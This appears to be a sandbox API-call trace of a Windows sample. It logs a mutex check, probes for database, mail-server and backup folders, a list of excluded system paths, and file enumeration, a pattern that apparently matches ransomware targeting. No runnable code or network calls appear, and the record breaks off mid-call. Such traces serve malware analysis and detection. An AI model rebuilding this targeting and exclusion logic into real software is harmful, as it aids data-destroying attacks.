[0051.066] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.066] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.066] GlobalUnlock (hMem=0x440004) returned 0 [0051.066] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.066] GlobalUnlock (hMem=0x44000c) returned 0 [0051.066] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.066] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE") returned 1 [0051.066] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.066] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.066] GlobalUnlock (hMem=0x44000c) returned 0 [0051.066] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.066] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.066] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.066] GlobalUnlock (hMem=0x44000c) returned 0 [0051.066] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.066] GlobalUnlock (hMem=0x440004) returned 0 [0051.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夐U壤U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.068] GetLastError () returned 0x3 [0051.068] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0051.069] GetLastError () returned 0x2 [0051.069] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0051.069] GetLastError () returned 0x2 [0051.069] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0051.070] GetLastError () returned 0x2 [0051.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18뭼R\x18j")) returned 0xffffffff [0051.070] GetLastError () returned 0x2 [0051.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0051.071] GetLastError () returned 0x2 [0051.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0051.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0051.071] GetLastError () returned 0x2 [0051.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0051.072] GetLastError () returned 0x2 [0051.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0051.072] GetLastError () returned 0x2 [0051.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.073] GetLastError () returned 0x2 [0051.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0051.074] GetLastError () returned 0x2 [0051.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.074] GlobalLock (hMem=0x440004) returned 0x550170 [0051.074] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.074] GlobalUnlock (hMem=0x440004) returned 0 [0051.074] GlobalLock (hMem=0x440004) returned 0x550170 [0051.074] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.074] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.074] GlobalUnlock (hMem=0x440004) returned 0 [0051.074] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.074] GlobalUnlock (hMem=0x44000c) returned 0 [0051.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.074] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.074] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.075] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.075] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a068, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.075] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.075] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.075] GlobalUnlock (hMem=0x44000c) returned 0 [0051.075] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.075] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.075] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.075] GlobalUnlock (hMem=0x44000c) returned 0 [0051.075] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.075] GlobalUnlock (hMem=0x440004) returned 0 [0051.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.076] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.077] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\") returned 0x40 [0051.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.078] GlobalLock (hMem=0x440004) returned 0x550170 [0051.078] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.078] GlobalUnlock (hMem=0x440004) returned 0 [0051.078] GlobalLock (hMem=0x440004) returned 0x550170 [0051.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.078] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.078] GlobalUnlock (hMem=0x440004) returned 0 [0051.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.078] GlobalUnlock (hMem=0x44000c) returned 0 [0051.078] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.078] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.078] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0051.078] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: 